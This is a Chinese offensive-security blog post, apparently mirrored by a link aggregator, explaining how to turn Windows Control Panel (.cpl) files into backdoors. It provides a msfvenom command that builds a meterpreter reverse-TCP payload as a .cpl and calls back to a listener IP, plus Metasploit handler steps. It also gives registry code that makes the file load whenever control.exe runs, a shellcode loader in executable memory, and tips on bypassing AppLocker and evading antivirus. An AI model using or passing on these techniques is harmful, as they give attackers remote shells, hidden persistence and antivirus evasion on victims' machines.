干货 | 巧用cpl文件维持权限和免杀
source link: https://www.heibai.org/2017.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
最近无意间发现了cpl文件,之前对该类型的文件了解几乎为零,由于触及到我的知识盲区,于是决定探究。
cpl文件
CPL文件,是Windows控制面板扩展项,CPL全拼为Control Panel Item
在system32目录下有一系列的cpl文件,分别对应着各种控制面板的子选项
列入我们win+R
输入main.cpl
将会打开控制面板中的鼠标属性
cpl文件本质是属于PE文件
但cpl并不像exe,更像是dll,无法直接打开,只能以加载的形式运行。并且有一个导出函数CPlApplet
该函数是控制面板应用程序的入口点,它被控制面板管理程序自动调用,且是个回调函数。
如何打开cpl
1.双击或者win+r xxx.cpl 2.control <文件名> 3.rundll32 shell32.dll,Control_RunDLL <文件名> 注意:所有rundll32 shell32.dll,Control_RunDLL的命令均可用control替代,control.exe实质调用了rundll32.exe。打开后找不到control.exe进程,只能找到rundll32.exe。
4.vbs脚本
Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("C:\Users\11793\Desktop\cpl.cpl")
5.js脚本
var a = newActiveXObject("Shell.Application");
a.ControlPanelItem("C:\\Users\\11793\\Desktop\\cpl.cpl");
如何自己制造一个cpl文件
最简单的方式:直接创建一个dll,无需导出函数,然后改后缀名
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("Calc.exe", SW_SHOW);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
随便一种方式执行
这里既然可以弹出calc.exe,那么能不能执行自己的payload的呢,答案是肯定的。
cpl文件的应用
bypass Windows AppLocker
什么是Windows AppLocker
: AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能。
默认的Applocker规则集合,可以看到cpl并不在默认规则中:
开启Applocker规则: 打开计算机管理,选择服务,将Application Identity
服务开启
然后在安全策略中,添加一条applocker规则,会询问是否添加默认规则
默认规则为:
假设设置某一路径无法执行可执行程序,再次运行时就会提示组策略安全,不允许运行
绕过的方式有很多,这里只讲cpl文件 完全可以把代码写入到cpl文件中,同样达到执行目的,这里就弹一个cmd
msf直接生成cpl文件
生成cpl文件 msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\xff' lhost=192.168.111.128 lport=8877 -f dll -o cpl.cpl
将文件拖到本地并运行,msf监听
•use exploit/multi/handler•set payload windows/meterpreter/reverse_tcp•set lhost 192.168.111.128•set lport 8877•exploit
这样肯定是不够的,可以把这个cpl文件当作一个后门,做到一个权限维持的效果,且比较隐蔽。将cpl文件名称改为test.cpl
创建一个项目,作用为修改注册表:
HKEY hKey;
DWORD dwDisposition;
char path[] = "C:\\test.cpl";
RegCreateKeyExA(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, "test.cpl", 0, REG_SZ, (BYTE*)path, (1+ ::lstrlenA(path)));
不一定将cpl文件放到c盘更目录,可以自定义路径 执行后
然后这里在开启control.exe时,test.cpl文件也会被打开。
如果目标主机有杀软,可以通过该方法白加黑绕过,但是msf的cpl文件特征非常明显,静态太概率都会被杀掉。
除了加壳之外,寄希望于自己实现加载shellcode,方便做混淆。
使用shellcode自己做一个cpl文件
直接上代码
#include"pch.h"
#include"windows.h"
extern"C" __declspec(dllexport) VOID CPlApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
{
MessageBoxA(0, NULL, "test", MB_OK);
/* length: 835 bytes */
unsignedchar buf[] = "shellcode";
LPVOID Memory= VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
这是最最最最基础的loader 先打开control.exe
看看效果
看看查杀率
这里上传的文本,shellcode没有做任何的处理,查杀率已经算比较低的,如果混淆一下,很轻松的就可以静态过杀软,再用白加黑,是不是想想就很轻松呢。
经过一系列处理后,找杀毒能力还比较强的360试一下
原文由HACK学习呀
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK